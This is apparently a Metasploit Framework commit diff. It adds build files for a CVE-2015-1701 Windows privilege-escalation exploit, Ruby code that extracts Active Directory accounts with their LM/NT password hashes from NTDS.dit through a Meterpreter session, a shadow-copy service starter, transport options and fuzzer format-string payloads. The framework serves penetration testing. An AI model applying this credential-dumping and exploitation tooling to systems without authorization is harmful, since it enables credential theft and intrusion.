<IntrinsicFunctions>false</IntrinsicFunctions>
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE_2015_1701_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>false</BufferSecurityCheck>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile>
<Link>
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>false</GenerateDebugInformation>
<GenerateMapFile>true</GenerateMapFile>
<MapFileName>$(OutDir)\cve-2015-1701.map</MapFileName>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>
</OptimizeReferences>
<EnableCOMDATFolding>
</EnableCOMDATFolding>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>
</DataExecutionPrevention>
<ImportLibrary>$(OutDir)\cve-2015-1701.lib</ImportLibrary>
<Profile>false</Profile>
<ModuleDefinitionFile>
</ModuleDefinitionFile>
<AdditionalOptions>/ignore:4070</AdditionalOptions>
</Link>
<PostBuildEvent>
<Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.01 "$(TargetDir)$(TargetFileName)" &gt; NUL
IF EXIST "..\..\..\..\..\data\exploits\CVE-2015-1701\" GOTO COPY
mkdir "..\..\..\..\..\data\exploits\CVE-2015-1701\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2015-1701\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="cve-2015-1701.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="cve-2015-1701.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>

View File

@ -0,0 +1,18 @@
<?xml version="1.0" standalone="yes"?>
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<SolutionPath>.\cve-2015-1701.sln</SolutionPath>
</PropertyGroup>
<Target Name="all" DependsOnTargets="x86;x64" />
<Target Name="x86">
<Message Text="Building CVE-2015-1701 client_copy_image x86 Release version" />
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=Win32" Targets="Clean;Rebuild"/>
</Target>
<Target Name="x64">
<Message Text="Building CVE-2015-1701 client_copy_image x64 Release version" />
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=x64" Targets="Clean;Rebuild"/>
</Target>
</Project>

View File

@ -54,6 +54,13 @@ IF "%ERRORLEVEL%"=="0" (
POPD POPD
) )
IF "%ERRORLEVEL%"=="0" (
ECHO "Building CVE-2015-1701 (copy_client_image)"
PUSHD CVE-2015-1701
msbuild.exe make.msbuild /target:%PLAT%
POPD
)
IF "%ERRORLEVEL%"=="0" ( IF "%ERRORLEVEL%"=="0" (
ECHO "Building CVE-2013-1300 (schlamperei)" ECHO "Building CVE-2013-1300 (schlamperei)"
PUSHD CVE-2013-1300 PUSHD CVE-2013-1300

View File

@ -0,0 +1,165 @@
module Metasploit
module Framework
module NTDS
# This class represents an NTDS account structure as sent back by Meterpreter's
# priv extension.
class Account
# Size of an NTDS Account Struct on the Wire
ACCOUNT_SIZE = 3016
# Size of a Date or Time Format String on the Wire
DATE_TIME_STRING_SIZE = 30
# Size of the AccountDescription Field
DESCRIPTION_SIZE =1024
# Size of a Hash History Record
HASH_HISTORY_SIZE = 792
# Size of a Hash String
HASH_SIZE = 33
# Size of the samAccountName field
NAME_SIZE = 128
#@return [String] The AD Account Description
attr_accessor :description
#@return [Boolean] If the AD account is disabled
attr_accessor :disabled
#@return [Boolean] If the AD account password is expired
attr_accessor :expired
#@return [String] Human Readable Date for the account's password expiration
attr_accessor :expiry_date
#@return [String] The LM Hash of the current password
attr_accessor :lm_hash
#@return [Array<String>] The LM hashes for previous passwords, up to 24
attr_accessor :lm_history
#@return [Fixnum] The count of historical LM hashes
attr_accessor :lm_history_count
#@return [Boolean] If the AD account is locked
attr_accessor :locked
#@return [Fixnum] The number of times this account has logged in
attr_accessor :logon_count
#@return [String] Human Readable Date for the last time the account logged in
attr_accessor :logon_date
#@return [String] Human Readable Time for the last time the account logged in
attr_accessor :logon_time
#@return [String] The samAccountName of the account
attr_accessor :name
#@return [Boolean] If the AD account password does not expire
attr_accessor :no_expire
#@return [Boolean] If the AD account does not require a password
attr_accessor :no_pass
#@return [String] The NT Hash of the current password
attr_accessor :nt_hash
#@return [Array<String>] The NT hashes for previous passwords, up to 24
attr_accessor :nt_history
#@return [Fixnum] The count of historical NT hashes
attr_accessor :nt_history_count
#@return [String] Human Readable Date for the last password change
attr_accessor :pass_date
#@return [String] Human Readable Time for the last password change
attr_accessor :pass_time
#@return [Fixnum] The Relative ID of the account
attr_accessor :rid
#@return [String] Byte String for the Account's SID
attr_accessor :sid
# @param raw_data [String] the raw 3948 byte string from the wire
# @raise [ArgumentErrror] if a 3948 byte string is not supplied
def initialize(raw_data)
raise ArgumentError, "No Data Supplied" unless raw_data.present?
raise ArgumentError, "Invalid Data" unless raw_data.length == ACCOUNT_SIZE
data = raw_data.dup
@name = get_string(data,NAME_SIZE)
@description = get_string(data,DESCRIPTION_SIZE)
@rid = get_int(data)
@disabled = get_boolean(data)
@locked = get_boolean(data)
@no_pass = get_boolean(data)
@no_expire = get_boolean(data)
@expired = get_boolean(data)
@logon_count = get_int(data)
@nt_history_count = get_int(data)
@lm_history_count = get_int(data)
@expiry_date = get_string(data,DATE_TIME_STRING_SIZE)
@logon_date = get_string(data,DATE_TIME_STRING_SIZE)
@logon_time = get_string(data,DATE_TIME_STRING_SIZE)
@pass_date = get_string(data,DATE_TIME_STRING_SIZE)
@pass_time = get_string(data,DATE_TIME_STRING_SIZE)
@lm_hash = get_string(data,HASH_SIZE)
@nt_hash = get_string(data,HASH_SIZE)
@lm_history = get_hash_history(data)
@nt_history = get_hash_history(data)
@sid = data
end
# @return [String] String representation of the account data
def to_s
<<-EOS.strip_heredoc
#{@name} (#{@description})
#{@name}:#{@rid}:#{ntlm_hash}
Password Expires: #{@expiry_date}
Last Password Change: #{@pass_time} #{@pass_date}
Last Logon: #{@logon_time} #{@logon_date}
Logon Count: #{@logon_count}
#{uac_string}
Hash History:
#{hash_history}
EOS
end
# @return [String] the NTLM hash string for the current password
def ntlm_hash
"#{@lm_hash}:#{@nt_hash}"
end
# @return [String] Each historical NTLM Hash on a new line
def hash_history
history_string = ''
@lm_history.each_with_index do | lm_hash, index|
history_string << "#{@name}:#{@rid}:#{lm_hash}:#{@nt_history[index]}\n"
end
history_string
end
private
def get_boolean(data)
get_int(data) == 1
end
def get_hash_history(data)
raw_history = data.slice!(0,HASH_HISTORY_SIZE)
split_history = raw_history.scan(/.{1,33}/)
split_history.map!{ |hash| hash.gsub(/\x00/,'')}
split_history.reject!{ |hash| hash.blank? }
end
def get_int(data)
data.slice!(0,4).unpack('L').first
end
def get_string(data,length)
data.slice!(0,length).gsub(/\x00/,'')
end
def uac_string
status_string = ''
if @disabled
status_string << " - Account Disabled\n"
end
if @expired
status_string << " - Password Expired\n"
end
if @locked
status_string << " - Account Locked Out\n"
end
if @no_expire
status_string << " - Password Never Expires\n"
end
if @no_pass
status_string << " - No Password Required\n"
end
status_string
end
end
end
end
end

View File

@ -0,0 +1,70 @@
module Metasploit
module Framework
module NTDS
require 'metasploit/framework/ntds/account'
# This class respresent an NTDS parser. It interacts with the Meterpreter Client
# to provide a simple interface for enumerating AD user accounts.
class Parser
# The size, in Bytes, of a batch of NTDS accounts
BATCH_SIZE = (Metasploit::Framework::NTDS::Account::ACCOUNT_SIZE * 20)
#@return [Rex::Post::Meterpreter::Channels::Pool] The Meterpreter NTDS Parser Channel
attr_accessor :channel
#@return [Msf::Session] The Meterpreter Client
attr_accessor :client
#@return [String] The path to the NTDS.dit file on the remote system
attr_accessor :file_path
def initialize(client, file_path='')
raise ArgumentError, "Invalid Filepath" unless file_path.present?
@file_path = file_path
@channel = client.extapi.ntds.parse(file_path)
@client = client
end
# Yields a [Metasploit::Framework::NTDS::Account] for each account found
# in the remote NTDS.dit file.
#
# @yield [account]
# @yieldparam account [Metasploit::Framework::NTDS::Account] an AD user account
# @yieldreturn [void] does not return a value
def each_account
raw_batch_data = pull_batch
until raw_batch_data.nil?
batch = raw_batch_data.dup
while batch.present?
raw_data = batch.slice!(0,Metasploit::Framework::NTDS::Account::ACCOUNT_SIZE)
# Make sure our data isn't all Null-bytes
if raw_data.match(/[^\x00]/)
account = Metasploit::Framework::NTDS::Account.new(raw_data)
yield account
end
end
raw_batch_data = pull_batch
end
channel.close
end
private
def pull_batch
if channel.cid.nil?
reopen_channel
end
begin
raw_batch_data = channel.read(BATCH_SIZE)
rescue EOFError
raw_batch_data = nil
end
raw_batch_data
end
def reopen_channel
@channel = client.extapi.ntds.parse(file_path)
end
end
end
end
end

View File

@ -319,15 +319,7 @@ class Meterpreter < Rex::Post::Meterpreter::Client
false false
end end
# def update_session_info
# Populate the session information.
#
# Also reports a session_fingerprint note for host os normalization.
#
def load_session_info()
begin
::Timeout.timeout(60) do
# Gather username/system information
username = self.sys.config.getuid username = self.sys.config.getuid
sysinfo = self.sys.config.sysinfo sysinfo = self.sys.config.sysinfo
@ -338,6 +330,17 @@ class Meterpreter < Rex::Post::Meterpreter::Client
# showing up in various places in the UI. # showing up in various places in the UI.
safe_info.gsub!(/[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]+/n,"_") safe_info.gsub!(/[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]+/n,"_")
self.info = safe_info self.info = safe_info
end
#
# Populate the session information.
#
# Also reports a session_fingerprint note for host os normalization.
#
def load_session_info
begin
::Timeout.timeout(60) do
update_session_info
hobj = nil hobj = nil

View File

@ -19,6 +19,13 @@ class Meterpreter_Java_Android < Msf::Sessions::Meterpreter_Java_Java
self.platform = 'java/android' self.platform = 'java/android'
end end
def load_android
original = console.disable_output
console.disable_output = true
console.run_single('load android')
console.disable_output = original
end
end end
end end

View File

@ -13,7 +13,7 @@ module MeterpreterOptions
[ [
OptBool.new('AutoLoadStdapi', [true, "Automatically load the Stdapi extension", true]), OptBool.new('AutoLoadStdapi', [true, "Automatically load the Stdapi extension", true]),
OptBool.new('AutoVerifySession', [true, "Automatically verify and drop invalid sessions", true]), OptBool.new('AutoVerifySession', [true, "Automatically verify and drop invalid sessions", true]),
OptInt.new('AutoVerifySessionTimeout', [false, "Timeout period to wait for session validation to occur, in seconds", 10]), OptInt.new('AutoVerifySessionTimeout', [false, "Timeout period to wait for session validation to occur, in seconds", 30]),
OptString.new('InitialAutoRunScript', [false, "An initial script to run on session creation (before AutoRunScript)", '']), OptString.new('InitialAutoRunScript', [false, "An initial script to run on session creation (before AutoRunScript)", '']),
OptString.new('AutoRunScript', [false, "A script to run automatically on session creation.", '']), OptString.new('AutoRunScript', [false, "A script to run automatically on session creation.", '']),
OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]), OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]),
@ -65,6 +65,12 @@ module MeterpreterOptions
end end
end end
if session.platform =~ /android/i
if datastore['AutoLoadAndroid']
session.load_android
end
end
[ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key| [ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|
if (datastore[key].empty? == false) if (datastore[key].empty? == false)
args = Shellwords.shellwords( datastore[key] ) args = Shellwords.shellwords( datastore[key] )

View File

@ -8,9 +8,7 @@ module Msf
### ###
module Auxiliary::Fuzzer module Auxiliary::Fuzzer
#
# Creates an instance of a fuzzer module
#
def initialize(info = {}) def initialize(info = {})
super super
register_advanced_options([ register_advanced_options([
@ -20,9 +18,12 @@ module Auxiliary::Fuzzer
end end
# Will return or yield numbers based on the presence of a block.
# #
# Self-reflective iterators # @return [Array<Array>] Returns an array of arrays of numbers if there is no block given
# # @yield [Array<Fixnum>] Yields an array of numbers if there is a block given
# @see #fuzzer_number_power2
def fuzz_numbers def fuzz_numbers
res = [] res = []
self.methods.sort.grep(/^fuzzer_number/).each do |m| self.methods.sort.grep(/^fuzzer_number/).each do |m|
@ -32,6 +33,12 @@ module Auxiliary::Fuzzer
res res
end end
# Will return or yield a string based on the presense of a block
#
# @return [Array] Returns and array of arrays of strings if there is no block given
# @yield [Array] Yields array of strings if there is a block given
def fuzz_strings def fuzz_strings
res = [] res = []
self.methods.sort.grep(/^fuzzer_string/).each do |m| self.methods.sort.grep(/^fuzzer_string/).each do |m|
@ -41,11 +48,11 @@ module Auxiliary::Fuzzer
res res
end end
# Modifies each byte of the string from beginning to end, packing each element as an 8 bit character.
# #
# General input mangling routines # @returns [Array] Returns an array of an array of strings
# # @see #fuzzer_string_format
# Modify each byte of the string moving forward
def fuzz_string_corrupt_byte(str,max=nil) def fuzz_string_corrupt_byte(str,max=nil)
res = [] res = []
0.upto(max ? [max,str.length-1].min : (str.length - 1)) do |offset| 0.upto(max ? [max,str.length-1].min : (str.length - 1)) do |offset|
@ -59,7 +66,12 @@ module Auxiliary::Fuzzer
res res
end end
# Modify each byte of the string moving backward # Modifies each byte of the string from beginning to end, packing each element as an 8 bit character.
#
#
# @returns [Array] Returns an array of an array of strings
# @see fuzzer_string_format
def fuzz_string_corrupt_byte_reverse(str,max=nil) def fuzz_string_corrupt_byte_reverse(str,max=nil)
res = [] res = []
(max ? [max,str.length-1].min : (str.length - 1)).downto(0) do |offset| (max ? [max,str.length-1].min : (str.length - 1)).downto(0) do |offset|
@ -73,20 +85,29 @@ module Auxiliary::Fuzzer
res res
end end
#
# Useful generators (many derived from AxMan) # Useful generators (many derived from AxMan)
# #
# @returns [Array] Returns and array of strings.
def fuzzer_string_format def fuzzer_string_format
res = %W{ %s %p %n %x %@ %.257d %.65537d %.2147483648d %.257f %.65537f %.2147483648f} res = %W{ %s %p %n %x %@ %.257d %.65537d %.2147483648d %.257f %.65537f %.2147483648f}
block_given? ? res.each { |n| yield(n) } : res block_given? ? res.each { |n| yield(n) } : res
end end
# Reserved filename array
# Useful generators (many derived from AxMan)
#
# @returns [Array] Returns and array of reserved filenames in Windows.
def fuzzer_string_filepath_dos def fuzzer_string_filepath_dos
res = %W{ aux con nul com1 com2 com3 com4 lpt1 lpt2 lp3 lpt4 prn } res = %W{ aux con nul com1 com2 com3 com4 lpt1 lpt2 lp3 lpt4 prn }
block_given? ? res.each { |n| yield(n) } : res block_given? ? res.each { |n| yield(n) } : res
end end
# Fuzzer Numbers by Powers of Two
#
# @returns [Array] Returns an array with pre-set values
def fuzzer_number_power2 def fuzzer_number_power2
res = [ res = [
0x100000000, 0x100000000,
@ -105,6 +126,10 @@ module Auxiliary::Fuzzer
block_given? ? res.each { |n| yield(n) } : res block_given? ? res.each { |n| yield(n) } : res
end end
# Powers of two by some fuzzing factor.
#
# @returns [Array] Returns and array of integers.
def fuzzer_number_power2_plus def fuzzer_number_power2_plus
res = [] res = []
fuzzer_number_power2 do |num| fuzzer_number_power2 do |num|
@ -119,6 +144,11 @@ module Auxiliary::Fuzzer
block_given? ? res.each { |n| yield(n) } : res block_given? ? res.each { |n| yield(n) } : res
end end
# Generates a fuzz string
# If no block set, will retrive characters from the FuzzChar datastore option
#
# @return [String] Returns a string of size 1024 * 512 specified by the user
def fuzzer_gen_string(len) def fuzzer_gen_string(len)
@gen_string_block ||= datastore['FuzzChar'][0,1] * (1024 * 512) @gen_string_block ||= datastore['FuzzChar'][0,1] * (1024 * 512)
res = '' res = ''
@ -128,6 +158,9 @@ module Auxiliary::Fuzzer
res[0,len] res[0,len]
end end
# Creates a smaller fuzz string starting from length 16 -> 512 bytes long
#
# @return [Array] Returns an array of characters
def fuzzer_string_small def fuzzer_string_small
res = [] res = []
16.step(512,16) do |len| 16.step(512,16) do |len|
@ -137,6 +170,9 @@ module Auxiliary::Fuzzer
res res
end end
# Creates a longer fuzz string from length 64 -> 8192 bytes long
#
# @return [Array] Returns an array of characters
def fuzzer_string_long def fuzzer_string_long
res = [] res = []
64.step(8192,64) do |len| 64.step(8192,64) do |len|
@ -147,6 +183,9 @@ module Auxiliary::Fuzzer
res res
end end
# Creates a giant fuzz string from length 512 -> 131,064 bytes long
#
# @return [Array] Returns an array of characters
def fuzzer_string_giant def fuzzer_string_giant
res = [] res = []
512.step(65532 * 2, 512) do |len| 512.step(65532 * 2, 512) do |len|
@ -157,6 +196,9 @@ module Auxiliary::Fuzzer
res res
end end
# Various URI types
#
# @returns [Array] Returns an array of strings
def fuzzer_string_uri_types def fuzzer_string_uri_types
res = %W{ res = %W{
aaa aaas about acap adiumxtra afp aim apt aw bolo callto cap chrome cid aaa aaas about acap adiumxtra afp aim apt aw bolo callto cap chrome cid
@ -174,16 +216,28 @@ module Auxiliary::Fuzzer
block_given? ? res.each { |n| yield(n) } : res block_given? ? res.each { |n| yield(n) } : res
end end
# Generator for common URI dividers
#
# @return [Array] Returns an array of strings
def fuzzer_string_uri_dividers def fuzzer_string_uri_dividers
res = %W{ : :// } res = %W{ : :// }
block_given? ? res.each { |n| yield(n) } : res block_given? ? res.each { |n| yield(n) } : res
end end
# Generator for common path prefixes
#
# @return [Array] Returns an array of strings
def fuzzer_string_path_prefixes def fuzzer_string_path_prefixes
res = %W{ C:\\ \\\\localhost\\ / } res = %W{ C:\\ \\\\localhost\\ / }
block_given? ? res.each { |n| yield(n) } : res block_given? ? res.each { |n| yield(n) } : res
end end
# Generates various small URI string types
#
# @return [Array] Returns an array of stings
def fuzzer_string_uris_small def fuzzer_string_uris_small
res = [] res = []
fuzzer_string_uri_types do |proto| fuzzer_string_uri_types do |proto|
@ -197,6 +251,10 @@ module Auxiliary::Fuzzer
res res
end end
# Generates various long URI string types
#
# @return [Array] Returns an array of stings
def fuzzer_string_uris_long def fuzzer_string_uris_long
res = [] res = []
fuzzer_string_uri_types do |proto| fuzzer_string_uri_types do |proto|
@ -210,6 +268,10 @@ module Auxiliary::Fuzzer
res res
end end
# Generates various giant URI string types
#
# @return [Array] Returns an array of stings
def fuzzer_string_uris_giant def fuzzer_string_uris_giant
res = [] res = []
fuzzer_string_uri_types do |proto| fuzzer_string_uri_types do |proto|
@ -223,6 +285,10 @@ module Auxiliary::Fuzzer
res res
end end
# Format for the URI string generator
#
# @return [Array] Returns an array of stings
def fuzzer_string_uris_format def fuzzer_string_uris_format
res = [] res = []
fuzzer_string_uri_types do |proto| fuzzer_string_uri_types do |proto|
@ -236,6 +302,11 @@ module Auxiliary::Fuzzer
res res
end end
# Generates various small strings
#
# @return [Array] Returns an array of stings
def fuzzer_string_uris_dos def fuzzer_string_uris_dos
res = [] res = []
fuzzer_string_uri_types do |proto| fuzzer_string_uri_types do |proto|
@ -249,6 +320,11 @@ module Auxiliary::Fuzzer
res res
end end
# Generates various small strings
#
# @return [Array] Returns an array of stings
def fuzzer_string_paths_small def fuzzer_string_paths_small
res = [] res = []
fuzzer_string_path_prefixes do |pre| fuzzer_string_path_prefixes do |pre|
@ -260,6 +336,11 @@ module Auxiliary::Fuzzer
res res
end end
# Generates various small strings
#
# @return [Array] Returns an array of stings
def fuzzer_string_paths_long def fuzzer_string_paths_long
res = [] res = []
fuzzer_string_path_prefixes do |pre| fuzzer_string_path_prefixes do |pre|
@ -271,6 +352,11 @@ module Auxiliary::Fuzzer
res res
end end
# Generates various giant strings
#
# @return [Array] Returns an array of stings
def fuzzer_string_paths_giant def fuzzer_string_paths_giant
res = [] res = []
fuzzer_string_path_prefixes do |pre| fuzzer_string_path_prefixes do |pre|
@ -282,6 +368,11 @@ module Auxiliary::Fuzzer
res res
end end
# Format for the path generator
#
# @return [Array] Returns an array of stings
def fuzzer_string_paths_format def fuzzer_string_paths_format
res = [] res = []
fuzzer_string_path_prefixes do |pre| fuzzer_string_path_prefixes do |pre|
@ -293,6 +384,11 @@ module Auxiliary::Fuzzer
res res
end end
# Generates fuzzer strings using path prefixes
#
# @return [Array] Returns an array of stings
def fuzzer_string_paths_dos def fuzzer_string_paths_dos
res = [] res = []
fuzzer_string_path_prefixes do |pre| fuzzer_string_path_prefixes do |pre|

View File

@ -142,8 +142,16 @@ module Msf::DBManager::Web
page.cookie = opts[:cookie] if opts[:cookie] page.cookie = opts[:cookie] if opts[:cookie]
page.auth = opts[:auth] if opts[:auth] page.auth = opts[:auth] if opts[:auth]
page.mtime = opts[:mtime] if opts[:mtime] page.mtime = opts[:mtime] if opts[:mtime]
page.ctype = opts[:ctype] if opts[:ctype]
if opts[:ctype].blank? || opts[:ctype] == [""]
page.ctype = ""
else
page.ctype = opts[:ctype]
end
page.location = opts[:location] if opts[:location] page.location = opts[:location] if opts[:location]
msf_import_timestamps(opts, page) msf_import_timestamps(opts, page)
page.save! page.save!

View File

@ -13,6 +13,11 @@ module FileInfo
num & 0xffff num & 0xffff
end end
# File Version
# @param [String] filepath The path of the file you are targeting
#
# @return [String] Returns the file version of target
def file_version(filepath) def file_version(filepath)
file_version_info_size = client.railgun.version.GetFileVersionInfoSizeA( file_version_info_size = client.railgun.version.GetFileVersionInfoSizeA(
filepath, filepath,

View File

@ -182,6 +182,25 @@ module ShadowCopy
return false return false
end end
end end
unless start_swprv
return false
end
return true
end
def start_swprv
vss_state = wmic_query('Service where(name="swprv") get state')
if vss_state=~ /Running/
print_status("Software Shadow Copy service is running.")
else
print_status("Software Shadow Copy service not running. Starting it now...")
if service_restart("swprv", START_TYPE_MANUAL)
print_good("Software Shadow Copy started successfully.")
else
print_error("Insufficient Privs to start service!")
return false
end
end
return true return true
end end

View File

@ -16,8 +16,6 @@ class JSONHashFile
@lock = Mutex.new @lock = Mutex.new
@hash = {} @hash = {}
@last = 0 @last = 0
::FileUtils.mkdir_p(::File.dirname(path))
synced_update
end end
def [](k) def [](k)
@ -53,6 +51,7 @@ private
# Save the file, but prevent thread & process contention # Save the file, but prevent thread & process contention
def synced_update(&block) def synced_update(&block)
@lock.synchronize do @lock.synchronize do
::FileUtils.mkdir_p(::File.dirname(path))
::File.open(path, ::File::RDWR|::File::CREAT) do |fd| ::File.open(path, ::File::RDWR|::File::CREAT) do |fd|
fd.flock(::File::LOCK_EX) fd.flock(::File::LOCK_EX)
@ -81,7 +80,6 @@ private
end end
end end
def parse_data(data) def parse_data(data)
return {} if data.to_s.strip.length == 0 return {} if data.to_s.strip.length == 0
begin begin

View File

@ -320,9 +320,20 @@ class ClientCore < Extension
# Normalise the format of the incoming machine id so that it's consistent # Normalise the format of the incoming machine id so that it's consistent
# regardless of case and leading/trailing spaces. This means that the # regardless of case and leading/trailing spaces. This means that the
# individual meterpreters don't have to care # individual meterpreters don't have to care.
mid.downcase!.strip! if mid
return Rex::Text.md5(mid) # Note that the machine ID may be blank or nil and that is OK
Rex::Text.md5(mid.to_s.downcase.strip)
end
def transport_remove(opts={})
request = transport_prepare_request('core_transport_remove', opts)
return false unless request
client.send_request(request)
return true
end end
def transport_add(opts={}) def transport_add(opts={})
@ -648,8 +659,14 @@ class ClientCore < Extension
# do more magic work for http(s) payloads # do more magic work for http(s) payloads
unless opts[:transport].ends_with?('tcp') unless opts[:transport].ends_with?('tcp')
if opts[:uri]
url << '/' unless opts[:uri].start_with?('/')
url << opts[:uri]
url << '/' unless opts[:uri].end_with?('/')
else
sum = uri_checksum_lookup(:connect) sum = uri_checksum_lookup(:connect)
url << generate_uri_uuid(sum, opts[:uuid]) + '/' url << generate_uri_uuid(sum, opts[:uuid]) + '/'
end
# TODO: randomise if not specified? # TODO: randomise if not specified?
opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)' opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'

View File

@ -5,6 +5,7 @@ require 'rex/post/meterpreter/extensions/extapi/window/window'
require 'rex/post/meterpreter/extensions/extapi/service/service' require 'rex/post/meterpreter/extensions/extapi/service/service'
require 'rex/post/meterpreter/extensions/extapi/clipboard/clipboard' require 'rex/post/meterpreter/extensions/extapi/clipboard/clipboard'
require 'rex/post/meterpreter/extensions/extapi/adsi/adsi' require 'rex/post/meterpreter/extensions/extapi/adsi/adsi'
require 'rex/post/meterpreter/extensions/extapi/ntds/ntds'
require 'rex/post/meterpreter/extensions/extapi/wmi/wmi' require 'rex/post/meterpreter/extensions/extapi/wmi/wmi'
module Rex module Rex
@ -34,6 +35,7 @@ class Extapi < Extension
'service' => Rex::Post::Meterpreter::Extensions::Extapi::Service::Service.new(client), 'service' => Rex::Post::Meterpreter::Extensions::Extapi::Service::Service.new(client),
'clipboard' => Rex::Post::Meterpreter::Extensions::Extapi::Clipboard::Clipboard.new(client), 'clipboard' => Rex::Post::Meterpreter::Extensions::Extapi::Clipboard::Clipboard.new(client),
'adsi' => Rex::Post::Meterpreter::Extensions::Extapi::Adsi::Adsi.new(client), 'adsi' => Rex::Post::Meterpreter::Extensions::Extapi::Adsi::Adsi.new(client),
'ntds' => Rex::Post::Meterpreter::Extensions::Extapi::Ntds::Ntds.new(client),
'wmi' => Rex::Post::Meterpreter::Extensions::Extapi::Wmi::Wmi.new(client) 'wmi' => Rex::Post::Meterpreter::Extensions::Extapi::Wmi::Wmi.new(client)
}) })
}, },

View File

@ -0,0 +1,39 @@
# -*- coding: binary -*-
module Rex
module Post
module Meterpreter
module Extensions
module Extapi
module Ntds
###
#
# This meterpreter extension contains extended API functions for
# parsing the NT Directory Service database.
#
###
class Ntds
def initialize(client)
@client = client
end
def parse(filepath)
request = Packet.create_request('extapi_ntds_parse')
request.add_tlv( TLV_TYPE_NTDS_PATH, filepath)
# wait up to 90 seconds for a response
response = client.send_request(request, 90)
channel_id = response.get_tlv_value(TLV_TYPE_CHANNEL_ID)
if channel_id.nil?
raise Exception, "We did not get a channel back!"
end
Rex::Post::Meterpreter::Channels::Pool.new(client, channel_id, "extapi_ntds", CHANNEL_FLAG_SYNCHRONOUS)
end
attr_accessor :client
end
end; end; end; end; end; end

View File

@ -72,6 +72,9 @@ TLV_TYPE_EXT_ADSI_PATH_PATH = TLV_META_TYPE_STRING | (TLV_TYPE_E
TLV_TYPE_EXT_ADSI_PATH_TYPE = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 69) TLV_TYPE_EXT_ADSI_PATH_TYPE = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 69)
TLV_TYPE_EXT_ADSI_DN = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 70) TLV_TYPE_EXT_ADSI_DN = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 70)
TLV_TYPE_NTDS_TEST = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 80)
TLV_TYPE_NTDS_PATH = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 81)
TLV_TYPE_EXT_WMI_DOMAIN = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 90) TLV_TYPE_EXT_WMI_DOMAIN = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 90)
TLV_TYPE_EXT_WMI_QUERY = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 91) TLV_TYPE_EXT_WMI_QUERY = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 91)
TLV_TYPE_EXT_WMI_FIELD = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 92) TLV_TYPE_EXT_WMI_FIELD = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 92)

View File

@ -543,12 +543,13 @@ class Console::CommandDispatcher::Core
'-t' => [ true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.keys.join(', ')}" ], '-t' => [ true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.keys.join(', ')}" ],
'-l' => [ true, 'LHOST parameter (for reverse transports)' ], '-l' => [ true, 'LHOST parameter (for reverse transports)' ],
'-p' => [ true, 'LPORT parameter' ], '-p' => [ true, 'LPORT parameter' ],
'-ua' => [ true, 'User agent for http(s) transports (optional)' ], '-u' => [ true, 'Custom URI for HTTP/S transports (used when removing transports)' ],
